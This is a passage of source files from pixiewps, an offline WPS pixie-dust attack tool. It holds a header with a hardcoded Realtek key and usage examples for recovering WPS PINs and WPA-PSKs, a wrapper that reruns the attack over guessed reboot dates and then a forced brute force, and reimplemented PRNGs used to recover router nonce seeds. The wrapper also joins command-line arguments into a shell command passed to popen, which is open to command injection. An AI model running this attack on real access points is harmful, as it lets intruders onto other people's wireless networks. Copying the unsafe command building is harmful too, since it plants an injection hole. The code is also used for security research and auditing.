# define end_le32toh(x) end_bswap_32(end_host2net32(x))
# define end_htole64(x) end_bswap_64(end_host2net64(x))
# define end_le64toh(x) end_bswap_64(end_host2net64(x))
#endif
#define end_ntoh16(x) end_be16toh(x)
#define end_hton16(x) end_htobe16(x)
#define end_ntoh32(x) end_be32toh(x)
#define end_hton32(x) end_htobe32(x)
#define end_ntoh64(x) end_be64toh(x)
#define end_hton64(x) end_htobe64(x)
#endif

File diff suppressed because it is too large Load Diff

298
src/pixiewps.h Normal file
View File

@ -0,0 +1,298 @@
/*
* pixiewps: offline WPS brute-force utility that exploits low entropy PRNGs
*
* Copyright (c) 2015-2017, wiire <wi7ire@gmail.com>
* SPDX-License-Identifier: GPL-3.0+
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef PIXIEWPS_H
#define PIXIEWPS_H
/* Modes constants */
#define NONE 0
#define RT 1
#define ECOS_SIMPLE 2
#define RTL819x 3
#define ECOS_SIMPLEST 4 /* Not tested */
#define ECOS_KNUTH 5 /* Not tested */
/* Modes constants */
#define MODE_LEN 5
#define MODE3_TRIES (60 * 10)
#define SEC_PER_DAY 86400
/* Exit costants */
#define PIN_FOUND 0
#define PIN_ERROR 1
#define MEM_ERROR 2
#define ARG_ERROR 3
#define UNS_ERROR 4
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "utils.h"
#ifndef WPS_PIN_LEN
# define WPS_PIN_LEN 8
#endif
#if defined(DEBUG)
# define DEBUG_PRINT(fmt, args...) do { printf("\n [DEBUG] %s:%4d:%s(): " fmt, \
__FILE__, __LINE__, __func__, ##args); fflush(stdout); } while (0)
# define DEBUG_PRINT_ARRAY(b, l) do { byte_array_print(b, l); fflush(stdout); } while (0)
# define DEBUG_PRINT_ATTEMPT(s, z) \
do { \
printf("\n [DEBUG] %s:%4d:%s(): Trying with E-S1: ", __FILE__, __LINE__, __func__); \
byte_array_print(s, WPS_SECRET_NONCE_LEN); \
printf("\n [DEBUG] %s:%4d:%s(): Trying with E-S1: ", __FILE__, __LINE__, __func__); \
byte_array_print(z, WPS_SECRET_NONCE_LEN); \
fflush(stdout); \
} while (0)
#else
# define DEBUG_PRINT(fmt, args...) do {} while (0)
# define DEBUG_PRINT_ARRAY(b, l) do {} while (0)
# define DEBUG_PRINT_ATTEMPT(s, z) do {} while (0)
#endif
uint_fast8_t p_mode[MODE_LEN] = { 0 };
const char *p_mode_name[MODE_LEN + 1] = { "", "RT/MT/CL", "eCos simple", "RTL819x", "eCos simplest", "eCos Knuth" };
/* Also called 'porting' OpenSSL */
#define SET_RTL_PRIV_KEY(x) memset(x, 0x55, 192)
const uint8_t wps_rtl_pke[] = {
0xD0,0x14,0x1B,0x15, 0x65,0x6E,0x96,0xB8, 0x5F,0xCE,0xAD,0x2E, 0x8E,0x76,0x33,0x0D,
0x2B,0x1A,0xC1,0x57, 0x6B,0xB0,0x26,0xE7, 0xA3,0x28,0xC0,0xE1, 0xBA,0xF8,0xCF,0x91,
0x66,0x43,0x71,0x17, 0x4C,0x08,0xEE,0x12, 0xEC,0x92,0xB0,0x51, 0x9C,0x54,0x87,0x9F,
0x21,0x25,0x5B,0xE5, 0xA8,0x77,0x0E,0x1F, 0xA1,0x88,0x04,0x70, 0xEF,0x42,0x3C,0x90,
0xE3,0x4D,0x78,0x47, 0xA6,0xFC,0xB4,0x92, 0x45,0x63,0xD1,0xAF, 0x1D,0xB0,0xC4,0x81,
0xEA,0xD9,0x85,0x2C, 0x51,0x9B,0xF1,0xDD, 0x42,0x9C,0x16,0x39, 0x51,0xCF,0x69,0x18,
0x1B,0x13,0x2A,0xEA, 0x2A,0x36,0x84,0xCA, 0xF3,0x5B,0xC5,0x4A, 0xCA,0x1B,0x20,0xC8,
0x8B,0xB3,0xB7,0x33, 0x9F,0xF7,0xD5,0x6E, 0x09,0x13,0x9D,0x77, 0xF0,0xAC,0x58,0x07,
0x90,0x97,0x93,0x82, 0x51,0xDB,0xBE,0x75, 0xE8,0x67,0x15,0xCC, 0x6B,0x7C,0x0C,0xA9,
0x45,0xFa,0x8D,0xD8, 0xD6,0x61,0xBE,0xB7, 0x3B,0x41,0x40,0x32, 0x79,0x8D,0xAD,0xEE,
0x32,0xB5,0xDD,0x61, 0xBF,0x10,0x5F,0x18, 0xD8,0x92,0x17,0x76, 0x0B,0x75,0xC5,0xD9,
0x66,0xA5,0xA4,0x90, 0x47,0x2C,0xEB,0xA9, 0xE3,0xB4,0x22,0x4F, 0x3D,0x89,0xFB,0x2B
};
/* const uint8_t rtl_rnd_seed[] = {
0x52,0x65,0x61,0x6c, 0x74,0x65,0x6b,0x20, 0x57,0x69,0x46,0x69, 0x20,0x53,0x69,0x6d,
0x70,0x6c,0x65,0x2d, 0x43,0x6f,0x6e,0x66, 0x69,0x67,0x20,0x44, 0x61,0x65,0x6d,0x6f,
0x6e,0x20,0x70,0x72, 0x6f,0x67,0x72,0x61, 0x6d,0x20,0x32,0x30, 0x30,0x36,0x2d,0x30,
0x35,0x2d,0x31,0x35
}; */
struct global {
char pin[WPS_PIN_LEN + 1];
uint8_t *pke;
uint8_t *pkr;
uint8_t *e_key;
uint8_t *e_hash1;
uint8_t *e_hash2;
uint8_t *authkey;
uint8_t *e_nonce;
uint8_t *r_nonce;
uint8_t *psk1;
uint8_t *psk2;
uint8_t *empty_psk;
uint8_t *dhkey;
uint8_t *kdk;
uint8_t *wrapkey;
uint8_t *emsk;
uint8_t *e_s1;
uint8_t *e_s2;
uint8_t *e_bssid;
uint8_t *m5_encr;
uint8_t *m7_encr;
unsigned int m5_encr_len;
unsigned int m7_encr_len;
uint32_t nonce_seed;
uint32_t s1_seed;
uint32_t s2_seed;
time_t start;
time_t end;
uint8_t small_dh_keys;
uint8_t mode_auto;
uint8_t bruteforce;
uint8_t anylength;
uint8_t nonce_match;
int jobs;
int verbosity;
char *error;
char *warning;
};
char usage[] =
"\n"
" Pixiewps %s WPS pixie-dust attack tool\n"
" Copyright (c) 2015-2017, wiire <wi7ire@gmail.com>\n"
"\n"
" Usage: %s <arguments>\n"
"\n"
" Required arguments:\n"
"\n"
" -e, --pke : Enrollee public key\n"
" -r, --pkr : Registrar public key\n"
" -s, --e-hash1 : Enrollee hash-1\n"
" -z, --e-hash2 : Enrollee hash-2\n"
" -a, --authkey : Authentication session key\n"
" -n, --e-nonce : Enrollee nonce\n"
"\n"
" Optional arguments:\n"
"\n"
" -m, --r-nonce : Registrar nonce\n"
" -b, --e-bssid : Enrollee BSSID\n"
" -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n"
" -o, --output : Write output to file\n"
" -j, --jobs : Number of parallel threads to use [Auto]\n"
"\n"
" -h : Display this usage screen\n"
" --help : Verbose help and more usage examples\n"
" -V, --version : Display version\n"
"\n"
" --mode N[,... N] : Mode selection, comma separated [Auto]\n"
" --start [mm/]yyyy : Starting date (only mode 3) [+1 day]\n"
" --end [mm/]yyyy : Ending date (only mode 3) [-1 day]\n"
" --cstart N : Starting date (time_t) (only mode 3)\n"
" --cend N : Ending date (time_t) (only mode 3)\n"
" -f, --force : Bruteforce full range (only mode 3)\n"
"\n"
" Miscellaneous arguments:\n"
"\n"
" -7, --m7-enc : Recover encrypted settings from M7 (only mode 3)\n"
" -5, --m5-enc : Recover secret nonce from M5 (only mode 3)\n"
"\n"
" Example (use --help for more):\n"
"\n"
" pixiewps -e <pke> -r <pkr> -s <e-hash1> -z <e-hash2> -a <authkey> -n <e-nonce>\n"
"%s";
char v_usage[] =
"\n"
" Pixiewps %s WPS pixie-dust attack tool\n"
" Copyright (c) 2015-2017, wiire <wi7ire@gmail.com>\n"
"\n"
" Description of arguments:\n"
"\n"
" -e, --pke\n"
"\n"
" Enrollee's DH public key, found in M1.\n"
"\n"
" -r, --pkr\n"
"\n"
" Registrar's DH public key, found in M2.\n"
"\n"
" -s, --e-hash1\n"
"\n"
" Enrollee hash-1, found in M3. It's the hash of the first half of the PIN.\n"
"\n"
" -z, --e-hash2\n"
"\n"
" Enrollee hash-2, found in M3. It's the hash of the second half of the PIN.\n"
"\n"
" -a, --authkey\n"
"\n"
" Authentication session key. Although for this parameter a modified version of "
"Reaver or Bully is needed, it can be avoided by specifying small Diffie-Hellman "
"keys in both Reaver and Pixiewps and supplying --e-nonce, --r-nonce and --e-bssid.\n"
"\n"
" [?] pixiewps -e <pke> -s <e-hash1> -z <e-hash2> -S -n <e-nonce> -m <r-nonce> -b <e-bssid>\n"
"\n"
" -n, --e-nonce\n"
"\n"
" Enrollee's nonce, found in M1.\n"
"\n"
" -m, --r-nonce\n"
"\n"
" Registrar's nonce, found in M2. Used with other parameters to compute the session keys.\n"
"\n"
" -b, --e-bssid\n"
"\n"
" Enrollee's BSSID. Used with other parameters to compute the session keys.\n"
"\n"
" -S, --dh-small (deprecated)\n"
"\n"
" Small Diffie-Hellman keys. The same option must be specified in Reaver too. "
"Some Access Points seem to be buggy and don't behave correctly with this option. "
"Avoid using it with Reaver when possible\n"
"\n"
" --mode N[,... N]\n"
"\n"
" Select modes, comma separated (experimental modes are not used unless specified):\n"
"\n"
" 1 (%s)\n"
" 2 (%s)\n"
" 3 (%s)\n"
" 4 (%s) [Experimental]\n"
" 5 (%s) [Experimental]\n"
"\n"
" --start [mm/]yyyy\n"
" --end [mm/]yyyy\n"
"\n"
" Starting and ending dates for mode 3. They are interchangeable. "
"If only one is specified, the current time will be used for the other. "
"The earliest possible date is 01/1970, corresponding to 0 (Unix epoch time), "
"the latest is 02/2038, corresponding to 0x7FFFFFFF. If --force is used then "
"pixiewps will start from the current time and go back all the way to 0.\n"
"\n"
" -7, --m7-enc\n"
"\n"
" Encrypted settings, found in M7. Recover Enrollee's WPA-PSK and secret nonce 2. "
"This feature only works on some Access Points vulnerable to mode 3.\n"
"\n"
" [?] pixiewps -e <pke> -r <pkr> -n <e-nonce> -m <r-nonce> -b <e-bssid> -7 <enc7> --mode 3\n"
"\n"
" -5, --m5-enc\n"
"\n"
" Encrypted settings, found in M5. Recover Enrollee's secret nonce 1. "
"This option must be used in conjunction with --m7-enc. If --e-hash1 and "
"--e-hash2 are also specified, pixiewps will also recover the WPS PIN.\n"
"\n"
" [?] pixiewps -e <pke> -r <pkr> -n <e-nonce> -m <r-nonce> -b <e-bssid> -7 <enc7> -5 <enc5> --mode 3\n"
" [?] pixiewps -e <pke> -r <pkr> -n <e-nonce> -m <r-nonce> -b <e-bssid> -7 <enc7> -5 <enc5> -s <e-hash1> -z <e-hash2> --mode 3\n"
"\n";
#define STR_CONTRIBUTE "[@] Looks like you have some interesting data! Please consider contributing with your data to improve pixiewps. Follow the instructions on http://0x0.st/tm - Thank you!"
/* One digit comma separated number parsing */
static inline uint_fast8_t parse_mode(char *list, uint_fast8_t *dst, const uint8_t max_digit)
{
uint_fast8_t cnt = 0;
while (*list != 0) {
if (*list <= ((char) max_digit) + '0') {
dst[cnt] = *list - '0';
cnt++;
list++;
}
if (*list != 0) {
if (*list == ',')
list++;
else
return 1;
}
}
return 0;
}
/* Check if passed mode is selected */
static inline uint_fast8_t is_mode_selected(const uint_fast8_t mode)
{
for (uint_fast8_t i = 0; i < MODE_LEN && p_mode[i] != NONE; i++) {
if (p_mode[i] == mode)
return 1;
}
return 0;
}
#endif /* PIXIEWPS_H */

151
src/pixiewrapper.c Normal file
View File

@ -0,0 +1,151 @@
/* testdata:
-u $((0xae317ff4f5)) -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 2b39e024cf02717b0aa9d355c00d11e663d8dd6419eced2c2d65474d53acbc42 -z 2b39e024cf02717b0aa9d355c00d11e663d8dd6419eced2c2d65474d53acbc42 -a b1d3ea1d7a12f75d097b8d26d2705b5ef25a476dd4aa68c2e764136ab282e89b -n 3f1b09a86baf5fd17bd517121e4dce91 -r 72b17748bc1c08b3c301af1343d26efcf7ac27e8c1fd8add70dce410964ef4dd6d151012893407d9673b38eced0d3141b673393b6785a366b477ec7dca8ead064aa54836ee855faa31fd125195e18ae5e0263175b60589100615d87ab9ac43440287f28bb9719a5c5dab2aec690fb900603de5ce108c1e3adf9dca9eee1d36a09f9d90363996166501934be41002c5a04e0c7ab16ec37251a8456bdae17598f57d481341a69af02b4effc5737c9403de68c6bea16a281352b56a1a114bfd8b9c
[*] Seed N1: 947432970 (Sun Jan 9 15:49:30 2000 UTC)
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <ctype.h>
#include <time.h>
static int usage(char *a0) {
printf( "%s [-u beacon timestamp] pixiewps_parameters\n\n"
"runs pixiewps in:\n"
"1) normal mode\n"
"2) if above failed, several likely timestamps with short interval\n"
"3) if above failed, with --force\n\n"
"if env var PIXIEWPS is set, its value will be used as the executable.\n\n"
"parameter 'u', if used, must be the first command line arg.\n"
"it shall contain the 64bit uptime timestamp of beacon/probe resp packets\n"
"sent by the router immediately before the pixiewps attack (in decimal).\n"
, a0);
return 1;
}
#define PIXIE_SUCCESS "[+] WPS pin:"
#define PIXIE_VULNERABLE "[!] The AP /might be/ vulnerable"
static int pixie_run(char *pixiecmd, char *pinbuf, size_t *pinlen) {
int ret = 0;
FILE *pr = popen(pixiecmd, "r");
if(pr) {
char buf[1024], *p;
while(fgets(buf, sizeof buf, pr)) {
printf("%s", buf);
if(ret) continue;
p = buf;
while(isspace(*p))++p;
if(!strncmp(p, PIXIE_SUCCESS, sizeof(PIXIE_SUCCESS)-1)) {
ret = 1;
char *pin = p + sizeof(PIXIE_SUCCESS)-1;
while(isspace(*pin))++pin;
if(!strncmp(pin, "<empty>", 7)) {
*pinlen = 0;
*pinbuf = 0;
} else {
char *q = strchr(pin, '\n');
if(q) *q = 0;
else {
fprintf(stderr, "oops1\n");
ret = 0;
}
size_t pl = strlen(pin);
if(pl < *pinlen) {
memcpy(pinbuf, pin, pl+1);
*pinlen = pl;
} else {
fprintf(stderr, "oops2\n");
ret = 0;
}
}
} else if(!strncmp(p, PIXIE_VULNERABLE, sizeof(PIXIE_VULNERABLE)-1)) {
ret = -1;
}
}
pclose(pr);
}
return ret;
}
static void add_beacon_timestamp(int *year, int *month, uint64_t timestamp) {
#define TSTP_SEC 1000000ULL /* 1 MHz clock -> 1 million ticks/sec */
#define TSTP_MIN (TSTP_SEC * 60ULL)
#define TSTP_HOUR (TSTP_MIN * 60ULL)
#define TSTP_DAY (TSTP_HOUR * 24ULL)
unsigned days = timestamp / TSTP_DAY;
struct tm tms = {
.tm_mday = 1,
.tm_mon = *month - 1,
.tm_year = *year - 1900
};
time_t start = mktime(&tms);
unsigned secs = days * (24*60*60);
start += secs;
struct tm *result = gmtime(&start);
*year = result->tm_year + 1900;
*month = result->tm_mon + 1;
}
static const struct date {
int year;
int month;
} reboot_dates[] = {
{ 2000, 1},
{ 2015, 1},
{ 2013, 1},
{ 1970, 1},
{0}
};
#ifndef SEARCH_MONTHS
#define SEARCH_MONTHS (uptime == 0 ? 2 : 1)
#endif
#ifndef PIXIE_BIN
#define PIXIE_BIN "pixiewps"
#endif
int main(int argc, char** argv) {
uint64_t uptime = 0;
if(argc < 3) return usage(argv[0]);
int pixie_start_arg = 1, i;
if(argv[1][0] == '-' && argv[1][1] == 'u' && argv[1][2] == 0) {
uptime = strtoll(argv[2], 0, 10);
pixie_start_arg = 3;
}
char pixie_args[4096];
char* pixie_bin = getenv("PIXIEWPS");
if(!pixie_bin) pixie_bin = PIXIE_BIN;
strcpy(pixie_args, pixie_bin);
for(i=pixie_start_arg; i<argc; ++i) {
strcat(pixie_args, " ");
strcat(pixie_args, argv[i]);
}
char pinbuf[64] = {0};
size_t pinlen = sizeof(pinbuf);
int ret = pixie_run(pixie_args, pinbuf, &pinlen);
if(ret == 1) return 0;
if(ret == 0) return 1;
setenv("TZ", "UTC", 1);
tzset();
const struct date *date;
for(date = reboot_dates; date->year; date++) {
int year = date->year;
int month = date->month;
add_beacon_timestamp(&year, &month, uptime);
char cmd[4096], dstring[128];
strcpy(cmd, pixie_args);
sprintf(dstring, " --start %02d/%04d --end %02d/%04d",
month, year, 1+((month-1+SEARCH_MONTHS)%12), year+((month-1+SEARCH_MONTHS)/12) );
strcat(cmd, dstring);
ret = pixie_run(cmd, pinbuf, &pinlen);
if(ret == 1) return 0;
}
strcat(pixie_args, " --force");
ret = pixie_run(pixie_args, pinbuf, &pinlen);
if(ret == 1) return 0;
return 1;
}

58
src/random/glibc_random.c Normal file
View File

@ -0,0 +1,58 @@
/*
* Based on the code of Peter Selinger
* Reference: http://www.mathstat.dal.ca/~selinger/random/
*
* The original code was modified to achieve better speed
*
* Note that in the original code two signed integers are added together
* which results in undefined behavior if the sum overflows the content
* of a signed integer while trying to preserve the sign.
*
* To avoid this, we exploit the 2's complement, thus using only
* unsigned integers. Note that INT_MAX + INT_MAX <= UINT_MAX and that
* adding two unsigned integers which sum exceeds UINT_MAX is not
* undefined behavior, it causes the value to wrap around.
*/
#include <stdint.h>
/*
* The +1 is used to keep the index inside the array after the increment,
* it doesn't really have a purpose besides that
*/
struct glibc_prng {
int index;
uint32_t state[344 + GLIBC_MAX_GEN + 1];
};
/*
* There are no checks of bounds (GLIBC_MAX_GEN is the maximum number of times it can be called)
*/
static uint32_t glibc_rand(struct glibc_prng *prng)
{
uint32_t *state = prng->state;
const int i = prng->index++;
state[i] = (uint32_t)(state[i - 31] + state[i - 3]);
return state[i] >> 1;
}
static void glibc_seed(struct glibc_prng *prng, uint32_t seed)
{
int i = 0;
uint32_t *state = prng->state;
prng->index = 344;
state[i++] = seed;
for ( ; i < 31; i++) {
/* This does: state[i] = (16807LL * state[i - 1]) % 0x7fffffff
using the sum of digits method which works for mod N, base N+1 */
const uint64_t p = 16807ULL * state[i - 1];
const uint64_t m = (p >> 31) + (p & 0x7fffffff);
/* The result might still not fit in 31 bits, if not, repeat
(conditional seems to make it slighlty faster) */
state[i] = (m & 0xffffffff80000000) ? ((m >> 31) + (m & 0x7fffffff)) : m;
}
for (i = 31; i < 34; i++) state[i] = state[i - 31];
for (i = 34; i < 344; i++) state[i] = state[i - 31] + state[i - 3];
}

View File

@ -0,0 +1,67 @@
/*
* Based on the code of Peter Selinger
* Reference: http://www.mathstat.dal.ca/~selinger/random/
*
* The original code was modified to achieve better speed
*
* Note that in the original code two signed integers are added together
* which results in undefined behavior if the sum overflows the content
* of a signed integer while trying to preserve the sign.
*
* To avoid this, we exploit the 2's complement, thus using only
* unsigned integers. Note that INT_MAX + INT_MAX <= UINT_MAX and that
* adding two unsigned integers which sum exceeds UINT_MAX is not
* undefined behavior, it causes the value to wrap around.
*/
#include <stdint.h>
struct glibc_lazyprng {
uint32_t state[344];
};
/*
* Return 1st generated element only
*/
static uint32_t glibc_rand1(struct glibc_lazyprng *prng)
{
const uint32_t *state = prng->state;
return (state[344 - 31] + state[344 - 3]) >> 1;
}
/*
* Fill a 4 elements array (to use with memcmp)
*/
static uint32_t *glibc_randfill(struct glibc_lazyprng *prng, uint32_t *arr)
{
uint32_t *state = prng->state;
const uint32_t first = state[344 - 31] + state[344 - 3];
arr[0] = first >> 1;
arr[1] = (state[344 - 31 + 1] + state[342 - 31] + state[342 - 3]) >> 1;
arr[2] = (state[344 - 31 + 2] + state[343 - 31] + state[343 - 3]) >> 1;
arr[3] = (state[344 - 31 + 3] + first) >> 1;
return arr;
}
/*
* Lazy seeding (stay 2 shorter)
*/
static void glibc_lazyseed(struct glibc_lazyprng *prng, uint32_t seed)
{
uint32_t *state = prng->state;
uint32_t i = 0;
state[i++] = seed;
for ( ; i < 31; i++) {
/* This does: state[i] = (16807LL * state[i - 1]) % 0x7fffffff
using the sum of digits method which works for mod N, base N+1 */
const uint64_t p = 16807ULL * state[i - 1];
const uint64_t m = (p >> 31) + (p & 0x7fffffff);
/* The result might still not fit in 31 bits, if not, repeat
(conditional seems to make it slighlty faster) */
state[i] = (m & 0xffffffff80000000) ? ((m >> 31) + (m & 0x7fffffff)) : m;
}
for (i = 31; i < 34; i++) state[i] = state[i - 31];
for (i = 34; i < 344 - 3 + 1; i++) state[i] = state[i - 31] + state[i - 3];
}

View File

@ -0,0 +1,142 @@
/*
* Copyright (c) 1983 Regents of the University of California.
* All rights reserved.
*
* Redistribution and use in source and binary forms are permitted
* provided that the above copyright notice and this paragraph are
* duplicated in all such forms and that any documentation,
* advertising materials, and other materials related to such
* distribution and use acknowledge that the software was developed
* by the University of California, Berkeley. The name of the
* University may not be used to endorse or promote products derived
* from this software without specific prior written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
* WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
/*
* This is derived from the Berkeley source:
* @(#)random.c 5.5 (Berkeley) 7/6/88
* It was reworked for the GNU C Library by Roland McGrath.
* Rewritten to be reentrant by Ulrich Drepper, 1995
*/
/*
* This file is part of pixiewps and was modified
*/
#include <stdint.h>
struct m_random_data {
int32_t *fptr; /* Front pointer */
int32_t *rptr; /* Rear pointer */
int32_t *state; /* Array of state values */
int32_t *end_ptr; /* Pointer behind state table */
};
/* x**31 + x**3 + 1 */
#define TYPE_3 3
#define BREAK_3 128
#define DEG_3 31
#define SEP_3 3
#define MAX_TYPES 5 /* Max number of types */
/* We do our fancy trinomial stuff, which is the
same in all the other cases due to all the global variables that have been
set up. The basic operation is to add the number at the rear pointer into
the one at the front pointer. Then both pointers are advanced to the next
location cyclically in the table. The value returned is the sum generated,
reduced to 31 bits by throwing away the "least random" low bit.
Note: The code takes advantage of the fact that both the front and
rear pointers can't wrap on the same call by not testing the rear
pointer if the front one has wrapped. Returns a 31-bit random number. */
static void m_random_r(struct m_random_data *buf, int32_t *result)
{
int32_t *state = buf->state;
int32_t *fptr = buf->fptr;
int32_t *rptr = buf->rptr;
int32_t *end_ptr = buf->end_ptr;
int32_t val = *fptr += *rptr;
/* Chucking least random bit. */
*result = (val >> 1) & 0x7fffffff;
++fptr;
if (fptr >= end_ptr) {
fptr = state;
++rptr;
}
else {
++rptr;
if (rptr >= end_ptr)
rptr = state;
}
buf->fptr = fptr;
buf->rptr = rptr;
}
/* Initializes state[] based on the given "seed" via a linear
congruential generator. Then, the pointers are set to known locations
that are exactly rand_sep places apart. Lastly, it cycles the state
information a given number of times to get rid of any initial dependencies
introduced by the L.C.R.N.G. Note that the initialization of randtbl[]
for default usage relies on values produced by this routine. */
static void m_srandom_r(unsigned int seed, struct m_random_data *buf)
{
long int word;
int i, kc;
int32_t *dst;
int32_t *state = buf->state;
/* We must make sure the seed is not 0. Take arbitrarily 1 in this case. */
if (seed == 0)
seed = 1;
state[0] = seed;
dst = state;
word = seed;
for (i = 1; i < DEG_3; ++i) {
/* This does:
state[i] = (16807 * state[i - 1]) % 2147483647;
but avoids overflowing 31 bits */
long int hi = word / 127773;
long int lo = word % 127773;
word = 16807 * lo - 2836 * hi;
if (word < 0)
word += 2147483647;
*++dst = word;
}
buf->fptr = &state[SEP_3];
buf->rptr = &state[0];
kc = DEG_3 * 10;
while (--kc >= 0) {
int32_t discard;
m_random_r(buf, &discard);
}
}
/* Initialize the state information in the given array of N bytes for
future random number generation. Based on the number of bytes we
are given, and the break values for the different R.N.G.'s, we choose
the best (largest) one we can and set things up for it. srandom is
then called to initialize the state information. Note that on return
from srandom, we set state[-1] to be the type multiplexed with the current
value of the rear pointer; this is so successive calls to initstate won't
lose this information and will be able to restart with setstate.
Note: The first thing we do is save the current state, if any, just like
setstate so that it doesn't matter when initstate is called.
Returns a pointer to the old state. */
static void m_initstate_r(unsigned int seed, char *arg_state, struct m_random_data *buf)
{
int32_t *state = &((int32_t *)arg_state)[1]; /* First location */
/* Must set END_PTR before srandom */
buf->end_ptr = &state[DEG_3];
buf->state = state;
m_srandom_r(seed, buf);
state[-1] = (buf->rptr - state) * MAX_TYPES + TYPE_3;
}

View File

@ -0,0 +1,70 @@
/*
* Based on the code of user @1yura.
*
* See glibc_random.c for a better understanding of the code.
*/
#include <stdint.h>
static const uint32_t glibc_seed_tbl[31 + 3] = {
0x0128e83b, 0x00dafa31, 0x009f4828, 0x00f66443, 0x00bee24d, 0x00817005, 0x00cb918f,
0x00a64845, 0x0069c3cf, 0x00a76dbd, 0x0090a848, 0x0057025f, 0x0089126c, 0x007d9a8f,
0x0048252a, 0x006fb2d4, 0x006ccc15, 0x003c5744, 0x005a998f, 0x005df917, 0x0032ed77,
0x00492688, 0x0050e901, 0x002b5f57, 0x003acd0b, 0x00456b7a, 0x0025413d, 0x002f11f4,
0x003b564d, 0x00203f14, 0x002589fc, 0x003283f8, 0x001c17e4, 0x001dd823
};
static inline uint32_t *glibc_fast_nonce(uint32_t seed, uint32_t *dest)
{
uint32_t word0 = 0, word1 = 0, word2 = 0, word3 = 0;
#ifdef PWPS_UNERRING
if (seed == 0x7fffffff) seed = 0x13f835f3;
else if (seed == 0xfffffffe) seed = 0x5df735f1;
#endif
for (int j = 0; j < 31; j++) {
word0 += seed * glibc_seed_tbl[j + 3];
word1 += seed * glibc_seed_tbl[j + 2];
word2 += seed * glibc_seed_tbl[j + 1];
word3 += seed * glibc_seed_tbl[j + 0];
/* This does: seed = (16807LL * seed) % 0x7fffffff
using the sum of digits method which works for mod N, base N+1 */
uint64_t p = 16807ULL * seed;
p = (p >> 31) + (p & 0x7fffffff);
seed = (p >> 31) + (p & 0x7fffffff);
#if 0 /* Same as PWPS_UNERRING */
if (seed == 0x7fffffff) seed = 0;
#endif
}
dest[0] = word0 >> 1;
dest[1] = word1 >> 1;
dest[2] = word2 >> 1;
dest[3] = word3 >> 1;
return dest;
}
static inline uint32_t glibc_fast_seed(uint32_t seed)
{
uint32_t word0 = 0;
#ifdef PWPS_UNERRING
if (seed == 0x7fffffff) seed = 0x13f835f3;
else if (seed == 0xfffffffe) seed = 0x5df735f1;
#endif
for (int j = 3; j < 31 + 3 - 1; j++) {
word0 += seed * glibc_seed_tbl[j];
/* This does: seed = (16807LL * seed) % 0x7fffffff
using the sum of digits method which works for mod N, base N+1 */
uint64_t p = 16807ULL * seed;
p = (p >> 31) + (p & 0x7fffffff);
seed = (p >> 31) + (p & 0x7fffffff);
#if 0 /* Same as PWPS_UNERRING */
if (seed == 0x7fffffff) seed = 0;
#endif
}
return (word0 + seed * glibc_seed_tbl[33]) >> 1;
}

275
src/utils.h Normal file
View File

@ -0,0 +1,275 @@
/*
* pixiewps: offline WPS brute-force utility that exploits low entropy PRNGs
*
* Copyright (c) 2015-2017, wiire <wi7ire@gmail.com>
* SPDX-License-Identifier: GPL-3.0+
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef UTILS_H
#define UTILS_H
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
/* Convert an hex string to a byte array */
unsigned int hex_string_to_byte_array(char *in, uint8_t *out, const unsigned int n_len)
{
unsigned int len = strlen(in);
unsigned int b_len = n_len * 2 + n_len - 1;
if (len != n_len * 2 && len != b_len)
return 1;
for (unsigned int i = 0; i < n_len; i++) {
unsigned char o = 0;
for (unsigned char j = 0; j < 2; j++) {
o <<= 4;
if (*in >= 'A' && *in <= 'F')
*in += 'a'-'A';
if (*in >= '0' && *in <= '9')
o += *in - '0';
else
if (*in >= 'a' && *in <= 'f')
o += *in - 'a' + 10;
else
return 1;
in++;
}
*out++ = o;
if (len == b_len) {
if (*in == ':' || *in == '-' || *in == ' ' || *in == 0)
in++;
else
return 1;
}
}
return 0;
}
/* Convert an hex string to a byte array */
unsigned int hex_string_to_byte_array_max(
char *in, uint8_t *out, const unsigned int max_len, unsigned int *m_len)
{
uint_fast8_t o, separator = 0;
unsigned int count = 0;
unsigned int len = strlen(in);
if (len > 2)
if (in[2] == ':' || in[2] == '-' || in[2] == ' ')
separator = 1;
if (separator) {
if ((len + 1) / 3 > max_len)
return 1;
}
else {
if (len / 2 > max_len)
return 1;
}
for (unsigned int i = 0; i < max_len; i++) {
o = 0;
for (uint_fast8_t j = 0; j < 2; j++) {
o <<= 4;
if (*in >= 'A' && *in <= 'F')
*in += 'a'-'A';
if (*in >= '0' && *in <= '9')
o += *in - '0';
else
if (*in >= 'a' && *in <= 'f')
o += *in - 'a' + 10;
else
return 1;
in++;
}
*out++ = o;
count++;
if (*in == 0)
goto end;
if (separator) {
if (*in == ':' || *in == '-' || *in == ' ')
in++;
else
return 1;
}
}
end:
*m_len = count;
return 0;
}
/* Convert a string into an integer */
int get_int(char *in, int *out)
{
int i, o = 0, len = strlen(in);
for (i = 0; i < len; i++) {
if ('0' <= *in && *in <= '9')
o = o * 10 + *in - '0';
else
return 1;
in++;
}
*out = o;
return 0;
}
unsigned int bit_revert(unsigned int v)
{
size_t i;
